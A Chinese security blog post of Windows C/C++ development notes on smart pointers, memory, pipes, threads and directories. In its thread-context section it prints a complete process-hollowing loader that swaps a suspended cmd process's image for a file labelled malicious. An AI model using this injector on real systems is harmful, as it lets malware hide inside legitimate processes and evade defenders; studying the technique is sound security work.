关注并星标🌟 一起学安全❤️
作者:coleak
首发于公号:渗透测试安全攻防
字数:23785
声明:仅供学习参考,请勿用作违法用途
目录
-
智能指针
-
线程上下文
-
错误处理
-
内存分配
-
映射取消
-
named_pipe
-
线程操作
-
线程/进程优先级
-
目录操作
智能指针
delete
#include <iostream>
#include <memory>
#include<windows.h>
class MyClass {
public:
MyClass() { std::cout << "MyClass constructor called." << std::endl; }
~MyClass() { std::cout << "MyClass destructor called." << std::endl; }
void printMessage() { std::cout << "Hello from MyClass!" << std::endl; }
};
int main() {
// 使用 unique_ptr 管理 MyClass 对象
MyClass* ptr=new MyClass();
ptr->printMessage();
//delete(ptr);
return 0;
}
unique_ptr
#include <iostream>
#include <memory>
class MyClass {
public:
MyClass() { std::cout << "MyClass constructor called." << std::endl; }
~MyClass() { std::cout << "MyClass destructor called." << std::endl; }
void printMessage() { std::cout << "Hello from MyClass!" << std::endl; }
};
int main() {
// 使用 unique_ptr 管理 MyClass 对象
std::unique_ptr<MyClass> ptr(new MyClass());
ptr->printMessage();
// unique_ptr 不能被复制,但可以通过移动语义转移所有权
std::unique_ptr<MyClass> ptr2 = std::move(ptr);
if (!ptr) {
std::cout << "ptr is now null." << std::endl;
}
if (ptr2) {
ptr2->printMessage();
}
return 0;
}
//离开作用域,对象被销毁,内存被释放
shared_ptr
#include <iostream>
#include <memory>
class House {
public:
House(const std::string& address) : address_(address) {
std::cout << "House at " << address << " created." << std::endl;
}
~House() {
std::cout << "House at " << address_ << " destroyed." << std::endl;
}
private:
std::string address_;
};
int main() {
std::shared_ptr<House> house1(new House("123 Main St"));
// House at 123 Main St created.
{
std::shared_ptr<House> house2 = house1;
// 引用计数现在是2
std::cout << "House use count: " << house1.use_count() << std::endl;
} // house2 离开作用域,引用计数减1
std::cout << "House use count after house2 is destroyed: " << house1.use_count() << std::endl;
return 0;
// house1 离开作用域,House 对象被销毁
}
weak_ptr
#include <iostream>
#include <memory>
class B;
class A {
public:
A() { std::cout << "A constructor called." << std::endl; }
~A() { std::cout << "A destructor called." << std::endl; }
std::shared_ptr<B> b_ptr;
};
class B {
public:
B() { std::cout << "B constructor called." << std::endl; }
~B() { std::cout << "B destructor called." << std::endl; }
std::weak_ptr<A> a_ptr;
};
int main() {
std::shared_ptr<A> a(new A());
std::shared_ptr<B> b(new B());
a->b_ptr = b;
b->a_ptr = a;
return 0;
}
上面代码中的weak_ptr解决了循环引用导致计数非零从而不能释放内存
#include <iostream>
#include <memory>
using namespace std;
class Book {
public:
Book(const std::string& title) : title_(title) {
std::cout << "Book " << title << " created." << std::endl;
}
~Book() {
std::cout << "Book " << title_ << " destroyed." << std::endl;
}
private:
std::string title_;
};
int main() {
std::shared_ptr<Book> book1(new Book("C++ Primer"));
std::weak_ptr<Book> bookWeak = book1;
cout << book1.use_count() << endl;
std::shared_ptr<Book> book2 = bookWeak.lock();
if (book2) {
std::cout << "Book weak_ptr locked successfully." << std::endl;
}
else {
std::cout << "Book weak_ptr failed to lock." << std::endl;
}
cout << book1.use_count() << endl;
book1.reset(); // 销毁 Book1 对象
book2.reset();// 销毁 Book2 对象,此时触发:Book C++ Primer destroyed.
cout << book1.use_count() << endl;
// 尝试再次锁定 weak_ptr
std::shared_ptr<Book> book3 = bookWeak.lock();
if (book3) {
std::cout << "Book weak_ptr locked successfully." << std::endl;
}
else {
std::cout << "Book weak_ptr failed to lock, book destroyed." << std::endl;
}
return 0;
}
weak_ptr不增加计数,由lock创建出shared_ptr时才增加计数,当计数为0时销毁,此时获取shared_ptr失败
相关简介:
原生的
new
和delete
操作符是C++语言的一部分,它们提供了基本的内存分配和释放功能。然而,原生的new
和delete
操作符不会自动提供额外的功能来帮助管理内存的生命周期。这是因为C++的设计哲学之一就是给予程序员更多的控制权,同时也意味着程序员需要承担更多责任来管理资源。智能指针的作用就在于提供了一种机制,使得内存的管理和释放变得更加自动化。智能指针本身是一个类模板,它包含了对所管理对象的引用计数和其他元数据。这些元数据用于跟踪有多少智能指针实例持有对同一块内存的所有权。
当你创建一个智能指针时,它会存储一个指向动态分配对象的指针,并且在其析构函数中调用
delete
来释放内存。这样,当智能指针离开作用域或者被显式销毁时,它就会自动释放它所管理的内存。这也就是所谓的RAII(Resource Acquisition Is Initialization)模式的应用——资源在对象创建时获取,在对象析构时释放。原生的
new
操作符并不提供类似的功能,因为它只是一个简单的内存分配器。如果要在new
操作符中直接添加析构函数的行为,那么这就改变了new
操作符的基本语义,并且可能引入不必要的复杂性。此外,这样的改变可能会破坏现有的代码和编译器优化策略。
线程上下文
傀儡进程中经常用到,即修改挂起主线程上下文并重写Headers和SectionHeaders
BOOL bRet = CreateProcessA(
NULL,
(LPSTR)"cmd",
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi);
GetThreadContext(pi.hThread, &ctx);
cout << (PVOID)ctx.Rdx << endl;
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + 0x10), &RemoteImageBase, sizeof(PVOID), NULL);
...
ctx.Rcx = (DWORD64)((PUCHAR)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + 0x10), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
SetThreadContext(pi.hThread, &ctx); // 设置线程上下文
0000002FD571C000,这里Rdx存储了PEB的地址,PEB+0x10=ImageBaseAddress
Rcx存储入口点EntryPoint
windbg调试验证
!peb
PEB at 0000002fd571c000 InheritedAddressSpace: No ReadImageFileExecOptions: No BeingDebugged: Yes ImageBaseAddress: 00007ff683580000
dt _PEB
ntdll!_PEB +0x000 InheritedAddressSpace : UChar +0x001 ReadImageFileExecOptions : UChar +0x002 BeingDebugged : UChar +0x003 BitField : UChar +0x003 ImageUsesLargePages : Pos 0, 1 Bit +0x003 IsProtectedProcess : Pos 1, 1 Bit +0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit +0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit +0x003 IsPackagedProcess : Pos 4, 1 Bit +0x003 IsAppContainer : Pos 5, 1 Bit +0x003 IsProtectedProcessLight : Pos 6, 1 Bit +0x003 IsLongPathAwareProcess : Pos 7, 1 Bit +0x004 Padding0 : [4] UChar +0x008 Mutant : Ptr64 Void +0x010 ImageBaseAddress : Ptr64 Void
dps 0000002fd571c010
00007ff6`83580000
附傀儡进程
#include <stdio.h>
#include <Windows.h>
#include<iostream>
typedef NTSTATUS(NTAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);
using namespace std;
int main(int argc, wchar_t* argv[])
{
// 定义变量和结构体
IN PIMAGE_DOS_HEADER pDosHeaders;
IN PIMAGE_NT_HEADERS pNtHeaders;
IN PIMAGE_SECTION_HEADER pSectionHeaders;
IN PVOID FileImage;
IN HANDLE hFile;
OUT DWORD FileReadSize;
IN DWORD dwFileSize;
IN PVOID RemoteImageBase;
IN PVOID RemoteProcessMemory;
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
si.cb = sizeof(si);
//用于替换的恶意程序
char path[] = "D:\c_project\dlltest\x64\Debug\a.exe";
// 创建挂起的进程
BOOL bRet = CreateProcessA(
NULL,
(LPSTR)"cmd",
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi);
//读取恶意程序的内容至本进程内存中
hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
dwFileSize = GetFileSize(hFile, NULL); //获取替换可执行文件的大小
FileImage = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
ReadFile(hFile, FileImage, dwFileSize, &FileReadSize, NULL);
CloseHandle(hFile);
//获取恶意程序的文件头信息(Dos头和Nt头)
pDosHeaders = (PIMAGE_DOS_HEADER)FileImage; //获取Dos头
pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)FileImage + pDosHeaders->e_lfanew); //获取NT头
//获取挂起进程的上下文
GetThreadContext(pi.hThread, &ctx);
cout << ctx.Rcx;
//获取挂起进程的映像基址
#ifdef _WIN64
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + 0x10), &RemoteImageBase, sizeof(PVOID), NULL);
// 从rbx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
#endif
// 从ebx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
#ifdef _X86_
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + 8), &RemoteImageBase, sizeof(PVOID), NULL);
#endif
//判断文件预期加载地址是否被占用
pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");
if ((SIZE_T)RemoteImageBase == pNtHeaders->OptionalHeader.ImageBase)
{
NtUnmapViewOfSection(pi.hProcess, RemoteImageBase); //卸载已存在文件
}
//为可执行映像分配内存,并写入文件头
RemoteProcessMemory = VirtualAllocEx(pi.hProcess, (PVOID)pNtHeaders->OptionalHeader.ImageBase, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, RemoteProcessMemory, FileImage, pNtHeaders->OptionalHeader.SizeOfHeaders, NULL);
//逐段写入
for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
{
pSectionHeaders = (PIMAGE_SECTION_HEADER)((LPBYTE)FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)RemoteProcessMemory + pSectionHeaders->VirtualAddress), (PVOID)((LPBYTE)FileImage + pSectionHeaders->PointerToRawData), pSectionHeaders->SizeOfRawData, NULL);
}
//将rax寄存器设置为注入软件的入口点
#ifdef _WIN64
ctx.Rcx = (DWORD64)((PUCHAR)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + 0x10), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
#endif
//将eax寄存器设置为注入软件的入口点
#ifdef _X86_
ctx.Eax = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
/*
lea eax
call eax
*/
#endif
SetThreadContext(pi.hThread, &ctx); // 设置线程上下文
ResumeThread(pi.hThread); // 恢复挂起线程
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
错误处理
VOID PrintfLastError()
{
DWORD dwError = GetLastError();
LPVOID lpBuffer = NULL;
FormatMessageA(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
dwError,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPSTR)&lpBuffer,
0,
NULL);
std::cout << "ErrorMesg -> " << (LPSTR)lpBuffer << std::endl;
LocalFree(lpBuffer);
}
int main()
{
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (hProcess == NULL)
{
std::cerr << "OpenProcess Failed" << std::endl;
PrintfLastError();
return;
}
}
FormatMessage()
:将GetLastError()
返回的错误代码转换为可读的文本消息
内存分配
函数 | 分配内存方式 | 粒度 | 场景 | 释放方式 |
---|---|---|---|---|
malloc |
从默认堆分配内存 | 小 | 普通内存分配 | free |
HeapAlloc |
从指定堆中分配内存(HeapCreate) | 小 | 需要手动管理多个堆 | HeapFree |
VirtualAlloc |
分配虚拟内存(按页分配) | 大 | 特殊需求、精细控制 | VirtualFree |
new |
分配内存并调用构造函数初始化对象 | / | 面向对象编程语言 | delete |
new在内部调用malloc来分配内存、malloc会调用HeapAlloc,delete在内部调用free来释放内存
查询属性
#include <iostream>
#include <Windows.h>
int main()
{
LPVOID lpBuffer = VirtualAlloc(NULL, 5000, MEM_COMMIT, PAGE_READWRITE);
//LPVOID lpBuffer = malloc(100);
if (lpBuffer != NULL)
{
MEMORY_BASIC_INFORMATION mbi = { 0 };
if (!VirtualQuery(lpBuffer, &mbi, sizeof(MEMORY_BASIC_INFORMATION)))
{
return 0;
}
VirtualFree(lpBuffer, 0, MEM_RELEASE);
}
return 0;
}
#include <iostream>
#include <string>
#include <Windows.h>
std::string StateToStr(DWORD State)
{
switch (State) {
case MEM_COMMIT: return "MEM_COMMIT";
case MEM_FREE: return "MEM_FREE";
case MEM_RESERVE: return "MEM_RESERVE";
default: return "UNKONW_STATE";
}
}
std::string ProtectToStr(DWORD Protect)
{
switch (Protect) {
case PAGE_READONLY: return "PAGE_READONLY";
case PAGE_READWRITE: return "PAGE_READWRITE";
case PAGE_EXECUTE: return "PAGE_EXECUTE";
case PAGE_EXECUTE_READ: return "PAGE_EXECUTE_READ";
case PAGE_EXECUTE_READWRITE: return "PAGE_EXECUTE_READWRITE";
case PAGE_NOACCESS: return "PAGE_NOACCESS";
default: return "UNKNOWN_PROTECT";
}
}
std::string TypeToStr(DWORD Type)
{
switch (Type) {
case MEM_IMAGE: return "MEM_IMAGE";
case MEM_MAPPED: return "MEM_MAPPED";
case MEM_PRIVATE: return "MEM_PRIVATE";
default: return "UNKNOWN_TYPE";
}
}
int main()
{
// 进程标识
DWORD dwPid = 0;
std::cout << "please input processid ";
std::cin >> dwPid;
// 打开进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (hProcess == NULL)
{
std::cout << "OpenProcess Failed" << std::endl;
return 0;
}
// 内存信息
LPVOID lpBaseAddr = 0;
MEMORY_BASIC_INFORMATION mbi;
RtlZeroMemory(&mbi, sizeof(MEMORY_BASIC_INFORMATION));
while (VirtualQueryEx(hProcess, lpBaseAddr, &mbi, sizeof(MEMORY_BASIC_INFORMATION)))
{
printf("==============================rn");
printf("BaseAddress 0x%08xrn", mbi.BaseAddress);
printf("AllocationBase 0x%08xrn", mbi.AllocationBase);
printf("AllocationProtect %srn", ProtectToStr(mbi.AllocationProtect).c_str());
printf("RegionSize 0x%08xrn", mbi.RegionSize);
printf("State %srn", StateToStr(mbi.State).c_str());
printf("Protect %srn", ProtectToStr(mbi.Protect).c_str());
printf("Type %srn", TypeToStr(mbi.Type).c_str());
lpBaseAddr = (PUCHAR)mbi.BaseAddress + mbi.RegionSize;
}
return 0;
}
堆操作
Heap - GetProcessHeap - HeapCreate - HeapAlloc - HeapReAlloc - HeapFree - HeapDestroy
遍历进程使用的堆
GetProcessHeaps->GetProcessHeaps->HeapWalk
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
int printheap() {
DWORD dwHeapCount = GetProcessHeaps(0, NULL);//3
if (dwHeapCount == NULL) return 1;
PHANDLE pHeaps = new HANDLE[dwHeapCount];
dwHeapCount = GetProcessHeaps(dwHeapCount, pHeaps);
if (dwHeapCount == NULL) return 1;
PROCESS_HEAP_ENTRY entry;
// 输出堆信息
for (size_t i = 0; i < dwHeapCount; i++)
{
SecureZeroMemory(&entry, sizeof(entry));
while (HeapWalk(pHeaps[i], &entry))
{
if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) {
std::cout << (PVOID)entry.lpData << "------" << entry.cbData << std::endl;
}
}
}
delete[] pHeaps;
}
int main()
{
// 进程默认堆
HANDLE hHeap = GetProcessHeap();
if (hHeap == NULL) return 1;
// 申请堆内存
LPVOID lpBuffer1 = HeapAlloc(hHeap, 0, 10);
LPVOID lpBuffer2 = HeapAlloc(hHeap, 0, 50);
// 内存块大小
std::cout << HeapSize(hHeap, 0, lpBuffer1) << std::endl;
std::cout << HeapSize(hHeap, 0, lpBuffer2) << std::endl;
// 释放堆资源
HeapFree(hHeap, 0, lpBuffer1);
//HeapFree(hHeap, 0, lpBuffer2);
// 创建进程堆
HANDLE hHeap2=HeapCreate(0, 0x1000, 100);
LPVOID lpBuffer3 = HeapAlloc(hHeap2, 0, 10);
printheap();
return 0;
}
映射取消
#include <windows.h>
#include <psapi.h>
#include <iostream>
using namespace std;
typedef NTSTATUS(NTAPI* PFN_ZwUnmapViewOfSection)(
HANDLE ProcessHandle,
PVOID BaseAddress
);
typedef int(*add)(int,int);
void freeAddress(PVOID address) {
HMODULE hModules[1024];
HANDLE hProcess = GetCurrentProcess();
DWORD cbNeeded;
// 枚举进程中的模块
if (EnumProcessModules(hProcess, hModules, sizeof(hModules), &cbNeeded)) {
for (unsigned int i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) {
MODULEINFO modInfo;
GetModuleInformation(hProcess, hModules[i], &modInfo, sizeof(modInfo));
// 检查地址是否在模块的地址范围内
if (address >= modInfo.lpBaseOfDll && address < (void*)((char*)modInfo.lpBaseOfDll + modInfo.SizeOfImage)) {
TCHAR szModName[MAX_PATH];
if (GetModuleFileNameEx(hProcess, hModules[i], szModName, sizeof(szModName) / sizeof(TCHAR))) {
std::wcout << L"Address " << address << L" belongs to module: " << szModName << std::endl;
PFN_ZwUnmapViewOfSection ZwUnmapViewOfSection = (PFN_ZwUnmapViewOfSection)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "ZwUnmapViewOfSection");
add func1 = (add)GetProcAddress((HMODULE)modInfo.lpBaseOfDll, "aa");
cout << func1(22, 9) << endl;
NTSTATUS status = ZwUnmapViewOfSection(hProcess, address);
add func2 = (add)GetProcAddress((HMODULE)modInfo.lpBaseOfDll, "aa");//报错
}
break;
}
}
}
}
int main() {
HINSTANCE library = LoadLibraryA("D:\c_project\dlltest\x64\Debug\Dll1.dll");
add func=(add) GetProcAddress(library, "aa");
cout << func(22, 9) << endl;
freeAddress((PUCHAR)library +0x520);
system("pause");
return 0;
}
此例程从指定进程的虚拟地址空间中取消映射包含 BaseAddress 的节的整个视图,即使 BaseAddress 未指向视图的开头也是如此,因此可以直接将传进来的address取消映射。取消映射后由于dll计数此时不为0(未使用FreeLibrary),因此该dll仍然被记录,但是对应的内存地址已被破坏,无法继续使用
named_pipe
socket适合主机间通信,而管道适合用于进程间通信
#include <iostream>
#include <Windows.h>
#define PIPE_NAME L"\\.\pipe\myPipe"
int main()
{
//连接命名管道
HANDLE hNamedPipe = CreateFile(
PIPE_NAME,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
NULL,
NULL
);
if (hNamedPipe == INVALID_HANDLE_VALUE)
{
std::cout << "CreateNamedPipe ErrorCode -> " << GetLastError() << std::endl;
return 0;
}
//接受服务消息
CHAR szBuffer[0xFF] = { 0 };
DWORD dwRead = 0;
ReadFile(hNamedPipe, szBuffer, sizeof(szBuffer), &dwRead, NULL);
std::cout << szBuffer << std::endl;
//发送服务消息
DWORD dwWrite = 0;
char szBuffer1[] = "Hello1";
WriteFile(hNamedPipe, szBuffer1, sizeof(szBuffer1), &dwWrite, NULL);
//清理资源
CloseHandle(hNamedPipe);
return 0;
}
#include <iostream>
#include <Windows.h>
#define PIPE_NAME L"\\.\pipe\myPipe"
int main()
{
//创建命名管道
HANDLE hNamedPipe = CreateNamedPipe(
PIPE_NAME,
PIPE_ACCESS_DUPLEX,
PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
4096,
4096,
NMPWAIT_USE_DEFAULT_WAIT,
NULL);
if (hNamedPipe == INVALID_HANDLE_VALUE)
{
std::cout << "CreateNamedPipe ErrorCode -> " << GetLastError() << std::endl;
return 0;
}
//等待客户连接
std::cout << "Waiting for client Connection" << std::endl;
BOOL bRet = ConnectNamedPipe(hNamedPipe, NULL);
if (!bRet)
{
std::cout << "ConnectNamedPipe ErrorCode -> " << GetLastError() << std::endl;
CloseHandle(hNamedPipe);
return 0;
}
std::cout << "Client Connected" << std::endl;
//发送客户消息
DWORD dwWrite = 0;
char szBuffer[] = "Hello2";
WriteFile(hNamedPipe, szBuffer, sizeof(szBuffer), &dwWrite, NULL);
//接受客户消息
CHAR szBuffer1[0xFF] = { 0 };
DWORD dwRead = 0;
ReadFile(hNamedPipe, szBuffer1, sizeof(szBuffer1), &dwRead, NULL);
std::cout << szBuffer1 << std::endl;
//清理资源
CloseHandle(hNamedPipe);
return 0;
}
线程操作
#include <iostream>
#include <windows.h>
HANDLE hMutex = 0;
DWORD g_Num = 0;
DWORD WINAPI WorkThread(LPVOID lp)
{
for (size_t i = 0; i <(size_t) lp; i++)
{
WaitForSingleObject(hMutex, INFINITE);
g_Num++;
ReleaseMutex(hMutex);
}
return 0;
}
int main()
{
int count = 3;
hMutex = CreateMutexA(NULL, FALSE, (LPCSTR)"coleak");
if (GetLastError() == ERROR_ALREADY_EXISTS)
{
MessageBox(NULL, L"禁止多开", L"错误", MB_OKCANCEL);
return 0;
}
HANDLE* hThread = new HANDLE[count];
for (int i = 0; i < count; i++) {
hThread[i] = CreateThread(NULL, 0, WorkThread, (LPVOID)((i+1)*100000), 0, NULL);
}
DWORD dwTime = WaitForMultipleObjects(count, hThread, TRUE, -1);
HANDLE hThread2 = CreateRemoteThread(
GetCurrentProcess(),
NULL,
0,
WorkThread,
(LPVOID)100000,
CREATE_SUSPENDED,
NULL);
if (hThread2 == NULL) return 0;
ResumeThread(hThread2);
DWORD dwTime2 = WaitForSingleObject(hThread2, (DWORD)1000);
CloseHandle(hMutex);
std::cout << g_Num << std::endl;
return 0;
}
CreateMutexA->WaitForSingleObject->ReleaseMutex限制竞态条件和多开
线程/进程优先级
进程优先级类
进程优先级类定义了一个进程的基本优先级范围。Windows 会为每个进程分配一个优先级类,不同的类对应不同的调度策略。Windows 支持以下几种进程优先级类:
-
IDLE_PRIORITY_CLASS -
描述:这个优先级类表示系统空闲时才执行的进程。它的优先级很低,适用于那些不会影响系统性能的后台任务。 -
使用场景:用于文件备份、病毒扫描等低优先级任务。 -
BELOW_NORMAL_PRIORITY_CLASS -
描述:这个优先级低于正常,但高于空闲优先级,适用于非关键的后台任务。 -
使用场景:资源消耗较少,但仍需比空闲进程更频繁执行的任务。 -
NORMAL_PRIORITY_CLASS -
描述:这是大多数进程的默认优先级。处于这个优先级类的进程与系统中其他正常运行的进程公平地共享 CPU 资源。 -
使用场景:普通应用程序,如文字处理软件、网络浏览器。 -
ABOVE_NORMAL_PRIORITY_CLASS -
描述:比正常优先级稍高,但低于高优先级类。适用于需要比常规进程更多的处理时间,但不需要过度占用系统资源的任务。 -
使用场景:比普通应用更需要资源的任务,如视频播放、音频编辑等。 -
HIGH_PRIORITY_CLASS -
描述:这个优先级类的进程会获得比大多数普通进程更多的 CPU 资源,但仍然低于实时优先级进程。适合那些需要迅速响应的任务。 -
使用场景:需要快速响应的应用,如音频、视频处理,网络游戏。 -
REALTIME_PRIORITY_CLASS -
描述:实时优先级类是系统中最高的优先级,优先于所有其他进程。该类进程几乎垄断 CPU 时间,适用于对延迟非常敏感的任务。 -
注意:滥用此优先级可能导致系统响应变慢或冻结,因为系统中的其他进程将很难获得 CPU 时间。 -
使用场景:实时数据采集、控制系统等。
线程优先级
线程优先级在进程优先级类的基础上进一步细化,控制同一进程内的线程调度顺序。每个线程可以有以下优先级:
-
THREAD_PRIORITY_LOWEST -
描述:最低的线程优先级,适合需要很少 CPU 时间的任务。 -
THREAD_PRIORITY_BELOW_NORMAL -
描述:比正常优先级低一档,适合需要较少资源的后台任务。 -
THREAD_PRIORITY_NORMAL -
描述:这是大多数线程的默认优先级,适合一般的计算任务。 -
THREAD_PRIORITY_ABOVE_NORMAL -
描述:比正常优先级高一档,适用于较高资源需求的任务。 -
THREAD_PRIORITY_HIGHEST -
描述:最高的非实时优先级,适合需要迅速完成的任务。 -
THREAD_PRIORITY_TIME_CRITICAL -
描述:这是最高的线程优先级。线程会尽可能地抢占 CPU 资源,只适合对时间敏感的任务。 -
注意:滥用此优先级可能导致其他线程被长期阻塞。
进程与线程优先级的关系
进程优先级类确定了进程中线程的基础优先级范围,而线程优先级则是在该范围内的细分。不同进程优先级类对应的线程优先级值在操作系统中的实现细节如下:
-
对于 IDLE_PRIORITY_CLASS 进程,线程的实际优先级范围非常低。 -
对于 NORMAL_PRIORITY_CLASS 进程,线程的优先级则在中等范围内。 -
对于 HIGH_PRIORITY_CLASS 和 REALTIME_PRIORITY_CLASS 进程,线程可以拥有非常高的优先级,从而几乎垄断 CPU 资源。
通过合理地调整进程和线程的优先级,可以优化应用程序的响应速度和性能,避免 CPU 资源的过度消耗或滥用。
代码案例
#include <windows.h>
#include <stdio.h>
#include<iostream>
using namespace std;
DWORD WINAPI ThreadFunction(LPVOID param) {
int threadNum = (int)param;
for (int i = 0; i < 90000; i++) {
// 模拟计算密集型任务
for (int j = 2; j < i; j++) {
if (i % j == 0)
break;
}
}
printf("线程 %d 迭代完成,优先级:%d,时间:%dn", threadNum, GetThreadPriority(GetCurrentThread()), time(NULL));
return 0;
}
void CreateThreadWithPriority() {
int count = 100;
HANDLE* hThread = new HANDLE[count];
for (int i = 0; i < count; i++) {
hThread[i] = CreateThread(NULL, 0, ThreadFunction, (LPVOID)(i), 0, NULL);
if (hThread[i] != NULL && i==90) {
// 设置线程优先级
SetThreadPriority(hThread[i], THREAD_PRIORITY_HIGHEST);
}
else {
SetThreadPriority(hThread[i], THREAD_PRIORITY_LOWEST);
}
}
}
int main() {
// 设置进程优先级
SetPriorityClass(GetCurrentProcess(), NORMAL_PRIORITY_CLASS);
cout << GetPriorityClass(GetCurrentProcess()) << endl;
// 创建低优先级线程
CreateThreadWithPriority();
// 等待用户按任意键结束
getchar();
return 0;
}
32 线程 90 迭代完成,优先级:2,时间:1726137175 线程 2 迭代完成,优先级:-2,时间:1726137181 线程 10 迭代完成,优先级:-2,时间:1726137181 线程 7 迭代完成,优先级:-2,时间:1726137182 线程 16 迭代完成,优先级:-2,时间:1726137182 线程 9 迭代完成,优先级:-2,时间:1726137182 …
目录操作
#include <iostream>
#include <Windows.h>
using namespace std;
int main()
{
TCHAR szBuffer1[MAX_PATH] = { 0 };
DWORD dwSize = GetCurrentDirectory(MAX_PATH, szBuffer1);
if (dwSize == NULL)
{
system("pause");
}
wcout << (wchar_t*)szBuffer1 << endl;
CONST WCHAR* FileName = L"test.exe";
WCHAR szBuffer[MAX_PATH] = { 0 };
DWORD dwLength = SearchPath(
szBuffer1,
FileName,
NULL,
MAX_PATH,
szBuffer,
NULL);
if (dwLength == NULL) return 1;
std::wcout << szBuffer << std::endl;
// 创建目录
if (CreateDirectory(L"NewDirectory", NULL) != NULL)
{
//ERROR_ALREADY_EXISTS 当文件已存在时,无法创建该文件
std::wcout << "Create NewDirectory" << std::endl;
system("pause");
}
// 删除目录
if (RemoveDirectory(L"NewDirectory") != NULL)
{
std::wcout << "Remove NewDirectory" << std::endl;
system("pause");
}
return 0;
}
模块目录
#include <iostream>
#include <Windows.h>
#include <Psapi.h>
int main()
{
// 获取模块基址
HMODULE hMain = GetModuleHandleA(NULL);
HMODULE hKe32 = GetModuleHandleA("Kernel32.dll");
HMODULE hTest = GetModuleHandleA("TEST.dll");
// 获取模块路径(本进程)
CHAR szBuffer[MAX_PATH] = { 0 };
GetModuleFileNameA(hMain, szBuffer, MAX_PATH);
std::cout << szBuffer << std::endl;
GetModuleFileNameA(hKe32, szBuffer, MAX_PATH);
std::cout << szBuffer << std::endl;
// 获取模块路径(跨进程)
// GetModuleFileNameEx
// 获取模块名称
GetModuleBaseNameA(GetCurrentProcess(), hMain, szBuffer, MAX_PATH);
std::cout << szBuffer << std::endl;
GetModuleBaseNameA(GetCurrentProcess(), hKe32, szBuffer, MAX_PATH);
std::cout << szBuffer << std::endl;
// 获取进程主模块
GetProcessImageFileNameA(GetCurrentProcess(), szBuffer, MAX_PATH);
std::cout << szBuffer << std::endl;
return 0;
}
文章首发于:渗透测试安全攻防
原文始发于微信公众号(渗透测试安全攻防):【c/c++ 】Windows 开发笔记[三]
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论